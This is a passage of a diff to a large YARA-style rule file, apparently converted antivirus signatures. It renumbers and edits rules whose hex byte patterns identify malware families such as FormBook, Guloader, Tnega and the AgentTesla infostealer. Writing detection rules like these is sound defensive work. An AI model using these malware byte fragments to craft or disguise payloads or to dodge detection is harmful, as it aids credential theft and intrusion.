2f 46 6f 72 6d 42 6f 6f 6b 2e 50 52 45 5a 31 31 35 30 21 4d 54 42 00 01 00 14 } //29554 + $a_37_3 = {4e 65 38 6d 36 4d 4a 7a 34 31 44 6b 4c 69 32 6a 33 01 00 06 81 01 54 6f 42 79 74 65 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 0a 81 01 47 65 74 4d 65 74 68 6f 64 73 01 00 0f 81 01 49 6e 69 74 69 61 6c 69 7a 65 41 72 72 61 79 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 13 81 01 47 65 74 43 75 } //385 + $a_6e_4 = {44 69 72 65 63 74 6f 72 79 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 0a 81 01 50 72 6f 70 75 6c 73 69 6f 6e 01 00 0d 81 01 54 65 72 72 61 69 6e 41 63 74 69 6f 6e 01 00 25 81 01 24 39 35 61 30 36 33 62 33 2d 38 37 33 34 2d 34 32 38 61 2d 61 39 37 35 2d 66 32 34 37 34 33 34 34 30 36 } //29298 + $a_00_6 = {0d } //1912 + $a_48_8 = {54 52 3a 57 69 6e 33 32 2f 54 6e 65 67 61 2e 52 52 52 21 4d 54 42 00 0a 00 5d 03 25 16 02 28 90 02 04 06 } //8448 + $a_02_9 = {04 0a 0a 00 06 13 0a 16 13 0b 2b 66 11 0a 11 0b 9a 13 0c 00 11 0c 6f 90 02 04 0a 16 fe 01 13 0d 11 0d 2c 02 2b 46 11 0c 28 90 02 04 06 28 90 02 04 0a 13 0e 11 0e 2c 02 2b 32 00 00 02 7b 90 02 03 04 11 0c 28 90 02 04 0a d2 6f 90 02 04 0a 90 00 0a 00 54 03 25 16 02 28 90 02 03 06 9d 6f 90 02 04 0a 0a 00 06 13 08 16 13 09 2b 66 11 08 11 09 9a 13 0a 00 11 0a 6f 90 02 04 16 fe 01 13 0b 11 0b 2c 02 2b 46 11 0a 28 90 02 04 28 90 02 04 } //28573 + condition: + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28021+(#a_73_2 & 1)*29554+(#a_37_3 & 1)*385+(#a_6e_4 & 1)*29298+(#a_00_6 & 1)*1912+(#a_48_8 & 1)*8448+(#a_02_9 & 1)*28573) >=10 + +} +rule _InfrastructureShared_17461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -192621,7 +205492,7 @@ rule _InfrastructureShared_16385{ ((#a_54_0 & 1)*18467+(#a_65_2 & 1)*385+(#a_49_3 & 1)*29793+(#a_32_4 & 1)*28265+(#a_02_5 & 1)*28428+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_07_9 & 1)*0+(#a_1a_10 & 1)*-24060) >=11 } -rule _InfrastructureShared_16386{ +rule _InfrastructureShared_17462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 05 00 21 " @@ -192635,7 +205506,7 @@ rule _InfrastructureShared_16386{ ((#a_54_0 & 1)*18467+(#a_0a_1 & 1)*656+(#a_32_2 & 1)*556+(#a_13_3 & 1)*2067+(#a_2b_4 & 1)*11275) >=13 } -rule _InfrastructureShared_16387{ +rule _InfrastructureShared_17463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1b 00 1b 00 09 00 21 " @@ -192652,7 +205523,7 @@ rule _InfrastructureShared_16387{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*10256+(#a_69_2 & 1)*28018+(#a_21_3 & 1)*11883+(#a_00_4 & 1)*108+(#a_00_6 & 1)*114+(#a_00_7 & 1)*99+(#a_6f_8 & 1)*25974) >=27 } -rule _InfrastructureShared_16388{ +rule _InfrastructureShared_17464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -192662,7 +205533,7 @@ rule _InfrastructureShared_16388{ ((#a_46_0 & 1)*16675) >=200 } -rule _InfrastructureShared_16389{ +rule _InfrastructureShared_17465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -192672,7 +205543,7 @@ rule _InfrastructureShared_16389{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_16390{ +rule _InfrastructureShared_17466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -192685,7 +205556,7 @@ rule _InfrastructureShared_16390{ ((#a_6b_0 & 1)*17955+(#a_59_1 & 1)*3869+(#a_3a_2 & 1)*21587+(#a_01_4 & 1)*16523) >=1 } -rule _InfrastructureShared_16391{ +rule _InfrastructureShared_17467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -192699,7 +205570,7 @@ rule _InfrastructureShared_16391{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*3136+(#a_66_2 & 1)*-14399+(#a_83_3 & 1)*30586+(#a_00_4 & 1)*-11733) >=1 } -rule _InfrastructureShared_16392{ +rule _InfrastructureShared_17468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -192715,7 +205586,7 @@ rule _InfrastructureShared_16392{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*27753+(#a_25_2 & 1)*25637+(#a_25_3 & 1)*25708+(#a_25_4 & 1)*25637+(#a_09_5 & 1)*27685+(#a_0d_6 & 1)*-16881) >=1 } -rule _InfrastructureShared_16393{ +rule _InfrastructureShared_17469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -192726,7 +205597,7 @@ rule _InfrastructureShared_16393{ ((#a_46_0 & 1)*16675+(#a_88_1 & 1)*-254) >=2 } -rule _InfrastructureShared_16394{ +rule _InfrastructureShared_17470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -192739,7 +205610,7 @@ rule _InfrastructureShared_16394{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*26661+(#a_19_2 & 1)*30056+(#a_5a_3 & 1)*16762) >=2 } -rule _InfrastructureShared_16395{ +rule _InfrastructureShared_17471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -192751,7 +205622,7 @@ rule _InfrastructureShared_16395{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*24841+(#a_00_2 & 1)*121) >=3 } -rule _InfrastructureShared_16396{ +rule _InfrastructureShared_17472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -192763,7 +205634,7 @@ rule _InfrastructureShared_16396{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*10337+(#a_33_2 & 1)*11571) >=3 } -rule _InfrastructureShared_16397{ +rule _InfrastructureShared_17473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -192775,7 +205646,7 @@ rule _InfrastructureShared_16397{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*1043+(#a_01_2 & 1)*28427) >=3 } -rule _InfrastructureShared_16398{ +rule _InfrastructureShared_17474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -192787,7 +205658,7 @@ rule _InfrastructureShared_16398{ ((#a_54_0 & 1)*18467+(#a_2b_1 & 1)*4886+(#a_5b_2 & 1)*1297) >=3 } -rule _InfrastructureShared_16399{ +rule _InfrastructureShared_17475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0e 00 21 " @@ -192807,7 +205678,7 @@ rule _InfrastructureShared_16399{ ((#a_4e_0 & 1)*18211+(#a_00_3 & 1)*3+(#a_00_4 & 1)*3+(#a_00_5 & 1)*3+(#a_00_6 & 1)*3+(#a_00_7 & 1)*3+(#a_00_8 & 1)*3+(#a_00_9 & 1)*3+(#a_00_10 & 1)*2+(#a_01_11 & 1)*-100+(#a_08_12 & 1)*0) >=3 } -rule _InfrastructureShared_16400{ +rule _InfrastructureShared_17476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -192818,7 +205689,7 @@ rule _InfrastructureShared_16400{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*92) >=4 } -rule _InfrastructureShared_16401{ +rule _InfrastructureShared_17477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -192830,7 +205701,7 @@ rule _InfrastructureShared_16401{ ((#a_54_0 & 1)*18467+(#a_16_1 & 1)*4969+(#a_11_3 & 1)*4352) >=4 } -rule _InfrastructureShared_16402{ +rule _InfrastructureShared_17478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -192842,7 +205713,7 @@ rule _InfrastructureShared_16402{ ((#a_41_0 & 1)*20515+(#a_00_1 & 1)*85+(#a_57_3 & 1)*28265) >=4 } -rule _InfrastructureShared_16403{ +rule _InfrastructureShared_17479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -192856,7 +205727,7 @@ rule _InfrastructureShared_16403{ ((#a_77_0 & 1)*16675+(#a_6e_1 & 1)*8303+(#a_74_2 & 1)*25970+(#a_38_3 & 1)*9587+(#a_cc_4 & 1)*-9021) >=4 } -rule _InfrastructureShared_16404{ +rule _InfrastructureShared_17480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -192870,7 +205741,7 @@ rule _InfrastructureShared_16404{ ((#a_4c_0 & 1)*21539+(#a_38_1 & 1)*9587+(#a_cc_2 & 1)*-9021+(#a_31_3 & 1)*14592+(#a_00_5 & 1)*48) >=4 } -rule _InfrastructureShared_16405{ +rule _InfrastructureShared_17481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -192884,7 +205755,7 @@ rule _InfrastructureShared_16405{ ((#a_46_0 & 1)*16675+(#a_08_1 & 1)*-28672+(#a_00_2 & 1)*116+(#a_00_3 & 1)*116+(#a_00_4 & 1)*99) >=5 } -rule _InfrastructureShared_16406{ +rule _InfrastructureShared_17482{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -192897,7 +205768,7 @@ rule _InfrastructureShared_16406{ ((#a_46_0 & 1)*16675+(#a_57_1 & 1)*19522+(#a_74_2 & 1)*31059+(#a_56_3 & 1)*19246) >=5 } -rule _InfrastructureShared_16407{ +rule _InfrastructureShared_17483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -192907,7 +205778,7 @@ rule _InfrastructureShared_16407{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_16408{ +rule _InfrastructureShared_17484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -192920,7 +205791,7 @@ rule _InfrastructureShared_16408{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*103+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_16409{ +rule _InfrastructureShared_17485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -192933,7 +205804,7 @@ rule _InfrastructureShared_16409{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*114+(#a_00_3 & 1)*99+(#a_41_5 & 1)*8448) >=5 } -rule _InfrastructureShared_16410{ +rule _InfrastructureShared_17486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -192949,7 +205820,7 @@ rule _InfrastructureShared_16410{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*384+(#a_63_2 & 1)*30063+(#a_74_3 & 1)*25955+(#a_69_4 & 1)*13880+(#a_6f_5 & 1)*28279+(#a_1f_6 & 1)*2065) >=5 } -rule _InfrastructureShared_16411{ +rule _InfrastructureShared_17487{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -192964,7 +205835,7 @@ rule _InfrastructureShared_16411{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*21084+(#a_57_2 & 1)*29797+(#a_70_3 & 1)*31335+(#a_d9_4 & 1)*2321+(#a_75_5 & 1)*385) >=6 } -rule _InfrastructureShared_16412{ +rule _InfrastructureShared_17488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -192979,21 +205850,37 @@ rule _InfrastructureShared_16412{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*-32476+(#a_5f_2 & 1)*27503+(#a_01_3 & 1)*13669+(#a_61_4 & 1)*28530+(#a_17_5 & 1)*-29177) >=6 } -rule _InfrastructureShared_16413{ +rule _InfrastructureShared_17489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 50 52 45 5a 31 31 35 32 21 4d 54 42 00 01 00 5a 01 00 16 13 0b 2b 42 00 07 11 0b 07 8e 69 5d 07 11 0b 07 8e 69 5d 91 11 08 11 0b 1f 16 5d 91 61 07 11 0b 17 58 07 8e 69 5d 91 28 96 00 } //18467 $a_20_1 = {01 00 00 58 20 00 01 00 00 5d 28 97 00 00 0a 9c 00 11 0b 17 58 13 0b 11 0b 07 8e 69 17 59 fe 02 16 fe 01 13 0c 11 0c 2d ac 01 00 09 81 01 4c 6f 21 21 21 21 21 61 64 01 00 19 81 01 53 79 7e 73 7e 74 65 7e 6d 7e 2e 41 7e 63 7e 74 7e 69 7e 76 61 7e 74 6f 72 01 00 14 81 } //2560 - $a_24_2 = {24 61 74 65 24 49 6e 24 73 74 24 61 6e 24 63 65 01 00 05 81 01 46 6f 72 6d 31 01 00 25 81 01 50 61 69 6e 74 41 70 70 6c 69 63 61 74 69 6f 6e 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 00 00 78 08 01 00 07 00 07 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d 46 50 21 4d } //17153 - $a_26_4 = {13 0e } //26624 ณ - $a_03_5 = {ff } //-28616 + $a_24_2 = {24 61 74 65 24 49 6e 24 73 74 24 61 6e 24 63 65 01 00 05 81 01 46 6f 72 6d 31 01 00 25 81 01 50 61 69 6e 74 41 70 70 6c 69 63 61 74 69 6f 6e 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 00 00 78 08 01 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 52 46 30 31 21 4d 54 42 00 01 00 } //17153 + $a_74_3 = {75 } //-32478 u + $a_65_4 = {6e 67 20 6d 6f 72 74 61 72 69 7a 65 73 20 62 6f 74 74 6f 6d 63 68 72 6f 6d 65 01 00 26 81 01 70 61 72 61 67 61 6d 6d 61 63 69 73 6d 20 75 64 64 65 6c 69 6e 67 65 72 20 67 67 65 68 76 69 64 65 73 74 6f 66 73 01 00 1e 81 01 73 68 61 6d 65 72 20 66 6f 6c 6b 65 74 69 6e 67 73 75 64 76 61 6c 67 65 74 73 2e } //29811 + $a_01_5 = {00 19 81 01 63 79 61 6e 6f 61 63 72 79 6c 61 74 65 20 6f 70 68 69 6f 70 68 61 67 75 73 01 00 24 81 01 61 6e 61 6c 79 73 65 72 6e 65 73 20 66 61 72 6d 61 6b 6f 67 6e 6f 73 69 65 72 73 20 70 61 72 61 76 61 6e 65 01 00 1f 81 01 70 65 6e 74 65 63 6f 73 74 65 72 20 61 7a 65 6f 74 72 6f 70 69 63 20 62 6c 61 } //30821 condition: - ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*2560+(#a_24_2 & 1)*17153+(#a_26_4 & 1)*26624+(#a_03_5 & 1)*-28616) >=6 + ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*2560+(#a_24_2 & 1)*17153+(#a_74_3 & 1)*-32478+(#a_65_4 & 1)*29811+(#a_01_5 & 1)*30821) >=6 } -rule _InfrastructureShared_16414{ +rule _InfrastructureShared_17490{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 52 46 30 31 21 4d 54 42 00 01 00 22 81 01 74 72 75 73 74 65 65 69 6e 67 20 6d 6f 72 74 61 72 69 7a 65 73 20 62 6f 74 74 6f 6d 63 68 72 6f 6d 65 01 00 26 81 01 70 61 72 61 67 61 6d 6d 61 63 69 73 6d } //18467 + $a_64_1 = {6c 69 6e 67 65 72 20 67 67 65 68 76 69 64 65 73 74 6f 66 73 01 00 1e 81 01 73 68 61 6d 65 72 20 66 6f 6c 6b 65 74 69 6e 67 73 75 64 76 61 6c 67 65 74 73 2e 65 78 65 01 00 19 81 01 63 79 61 6e 6f 61 63 72 79 6c 61 74 65 20 6f 70 68 69 6f 70 68 61 67 75 73 01 00 24 81 01 61 6e 61 6c 79 73 65 72 6e 65 } //29984 + $a_61_2 = {6d 61 6b 6f 67 6e 6f 73 69 65 72 73 20 70 61 72 61 76 61 6e 65 01 00 1f 81 01 70 65 6e 74 65 63 6f 73 74 65 72 20 61 7a 65 6f 74 72 6f 70 69 63 20 62 6c 61 6e 64 62 61 72 00 00 78 08 01 00 07 00 07 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d 46 50 21 } //8307 + $a_00_3 = {01 00 68 02 26 18 13 0e 38 90 01 03 ff 11 90 01 01 17 58 13 90 01 01 1b 13 90 01 01 38 90 01 03 ff 11 90 01 01 11 90 01 01 31 90 01 01 1e 13 90 01 01 38 90 01 03 ff 1f 90 01 01 2b 90 01 01 11 90 01 } //21581 + $a_01_4 = {03 01 6f 90 01 03 0a 0d 7e 90 01 03 04 74 90 01 03 1b 07 09 75 90 01 03 01 a2 19 13 90 01 01 38 90 01 03 ff 90 00 01 00 04 81 01 50 41 73 73 01 00 07 81 01 52 65 70 6c 61 63 65 01 00 06 81 01 43 72 65 61 74 65 01 00 0d 81 01 53 74 72 69 6e 67 42 75 69 6c 64 65 72 01 00 25 00 24 36 62 30 34 30 30 36 30 2d 63 61 65 36 2d 34 37 61 34 2d 38 65 62 65 2d 66 39 65 32 36 35 31 64 65 36 30 38 01 00 10 00 57 95 a2 29 09 1f 00 00 00 fa 25 } //29953 + $a_00_5 = {00 00 00 78 08 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 } //51 + condition: + ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*29984+(#a_61_2 & 1)*8307+(#a_00_3 & 1)*21581+(#a_01_4 & 1)*29953+(#a_00_5 & 1)*51) >=6 + +} +rule _InfrastructureShared_17491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -193009,7 +205896,7 @@ rule _InfrastructureShared_16414{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*4894+(#a_36_2 & 1)*25649+(#a_6e_3 & 1)*16896+(#a_00_4 & 1)*48+(#a_00_5 & 1)*1+(#a_08_6 & 1)*0) >=7 } -rule _InfrastructureShared_16415{ +rule _InfrastructureShared_17492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -193023,7 +205910,7 @@ rule _InfrastructureShared_16415{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25963+(#a_00_3 & 1)*48+(#a_00_4 & 1)*108+(#a_00_6 & 1)*110) >=7 } -rule _InfrastructureShared_16416{ +rule _InfrastructureShared_17493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -193039,7 +205926,7 @@ rule _InfrastructureShared_16416{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*9473+(#a_25_2 & 1)*-32494+(#a_5c_3 & 1)*26978+(#a_6e_4 & 1)*23653+(#a_20_5 & 1)*25964+(#a_69_6 & 1)*23653) >=7 } -rule _InfrastructureShared_16417{ +rule _InfrastructureShared_17494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -193055,7 +205942,7 @@ rule _InfrastructureShared_16417{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*25955+(#a_00_2 & 1)*26995+(#a_65_3 & 1)*385+(#a_53_4 & 1)*-32463+(#a_72_5 & 1)*30580+(#a_00_6 & 1)*52) >=7 } -rule _InfrastructureShared_16418{ +rule _InfrastructureShared_17495{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -193073,7 +205960,7 @@ rule _InfrastructureShared_16418{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*12594+(#a_61_2 & 1)*385+(#a_64_3 & 1)*30063+(#a_6f_4 & 1)*31088+(#a_22_5 & 1)*27242+(#a_71_6 & 1)*25089+(#a_01_7 & 1)*1536+(#a_6e_8 & 1)*29300) >=9 } -rule _InfrastructureShared_16419{ +rule _InfrastructureShared_17496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -193092,7 +205979,7 @@ rule _InfrastructureShared_16419{ ((#a_54_0 & 1)*18467+(#a_35_1 & 1)*28527+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_08_5 & 1)*0+(#a_66_6 & 1)*26214+(#a_01_7 & 1)*3328+(#a_4c_8 & 1)*384+(#a_63_9 & 1)*30063) >=10 } -rule _InfrastructureShared_16420{ +rule _InfrastructureShared_17497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -193112,7 +205999,7 @@ rule _InfrastructureShared_16420{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*24929+(#a_36_2 & 1)*29537+(#a_21_3 & 1)*19795+(#a_44_4 & 1)*19009+(#a_74_5 & 1)*21356+(#a_47_6 & 1)*-32503+(#a_68_7 & 1)*25933+(#a_61_8 & 1)*29251+(#a_46_9 & 1)*16675+(#a_0f_10 & 1)*4111) >=11 } -rule _InfrastructureShared_16421{ +rule _InfrastructureShared_17498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -193132,7 +206019,7 @@ rule _InfrastructureShared_16421{ ((#a_4c_0 & 1)*21539+(#a_39_1 & 1)*17486+(#a_50_2 & 1)*17528+(#a_01_3 & 1)*3584+(#a_6c_4 & 1)*385+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_08_10 & 1)*0) >=11 } -rule _InfrastructureShared_16422{ +rule _InfrastructureShared_17499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -193153,7 +206040,7 @@ rule _InfrastructureShared_16422{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25971+(#a_69_2 & 1)*385+(#a_01_3 & 1)*3840+(#a_32_4 & 1)*28265+(#a_10_5 & 1)*1025+(#a_1b_6 & 1)*-31249+(#a_c0_7 & 1)*1025+(#a_67_8 & 1)*28462+(#a_72_9 & 1)*29806+(#a_74_10 & 1)*29296+(#a_02_11 & 1)*11782) >=12 } -rule _InfrastructureShared_16423{ +rule _InfrastructureShared_17500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 0a 00 02 00 21 " @@ -193164,7 +206051,7 @@ rule _InfrastructureShared_16423{ ((#a_46_0 & 1)*16675+(#a_0f_1 & 1)*4111) >=10 } -rule _InfrastructureShared_16424{ +rule _InfrastructureShared_17501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -193179,7 +206066,7 @@ rule _InfrastructureShared_16424{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*27745+(#a_73_2 & 1)*18796+(#a_5f_3 & 1)*27745+(#a_90_4 & 1)*1538+(#a_02_5 & 1)*11782) >=1 } -rule _InfrastructureShared_16425{ +rule _InfrastructureShared_17502{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 09 00 21 " @@ -193197,7 +206084,7 @@ rule _InfrastructureShared_16425{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1536+(#a_02_2 & 1)*11778+(#a_90_3 & 1)*-29950+(#a_24_4 & 1)*-29880+(#a_05_5 & 1)*139+(#a_28_6 & 1)*-29179+(#a_00_7 & 1)*400+(#a_90_8 & 1)*-254) >=1 } -rule _InfrastructureShared_16426{ +rule _InfrastructureShared_17503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -193208,7 +206095,7 @@ rule _InfrastructureShared_16426{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*770) >=2 } -rule _InfrastructureShared_16427{ +rule _InfrastructureShared_17504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -193219,7 +206106,7 @@ rule _InfrastructureShared_16427{ ((#a_54_0 & 1)*18467+(#a_26_1 & 1)*-1) >=2 } -rule _InfrastructureShared_16428{ +rule _InfrastructureShared_17505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -193233,7 +206120,7 @@ rule _InfrastructureShared_16428{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*26176+(#a_33_2 & 1)*11571+(#a_3a_5 & 1)*19521+(#a_a8_6 & 1)*257) >=2 } -rule _InfrastructureShared_16429{ +rule _InfrastructureShared_17506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 02 00 03 00 21 " @@ -193245,7 +206132,7 @@ rule _InfrastructureShared_16429{ ((#a_46_0 & 1)*16675+(#a_0e_1 & 1)*257+(#a_d2_2 & 1)*4173) >=2 } -rule _InfrastructureShared_16430{ +rule _InfrastructureShared_17507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -193257,7 +206144,7 @@ rule _InfrastructureShared_16430{ ((#a_6f_0 & 1)*16931+(#a_00_1 & 1)*17481+(#a_64_2 & 1)*9985) >=3 } -rule _InfrastructureShared_16431{ +rule _InfrastructureShared_17508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -193267,7 +206154,7 @@ rule _InfrastructureShared_16431{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_16432{ +rule _InfrastructureShared_17509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -193279,7 +206166,7 @@ rule _InfrastructureShared_16432{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*1043+(#a_01_2 & 1)*28427) >=3 } -rule _InfrastructureShared_16433{ +rule _InfrastructureShared_17510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -193290,7 +206177,7 @@ rule _InfrastructureShared_16433{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*100) >=3 } -rule _InfrastructureShared_16434{ +rule _InfrastructureShared_17511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -193303,7 +206190,7 @@ rule _InfrastructureShared_16434{ ((#a_5f_0 & 1)*25635+(#a_78_1 & 1)*8293+(#a_00_2 & 1)*25637+(#a_20_3 & 1)*9473) >=3 } -rule _InfrastructureShared_16435{ +rule _InfrastructureShared_17512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -193316,7 +206203,7 @@ rule _InfrastructureShared_16435{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*124+(#a_00_3 & 1)*108+(#a_73_4 & 1)*28514) >=3 } -rule _InfrastructureShared_16436{ +rule _InfrastructureShared_17513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -193324,13 +206211,22 @@ rule _InfrastructureShared_16436{ $a_46_0 = {59 32 56 3a 46 4c 6f 72 69 61 6e 5f 52 6f 74 68 2f 41 50 54 5f 50 72 6f 6a 65 63 74 5f 53 61 75 72 6f 6e 5f 43 75 73 74 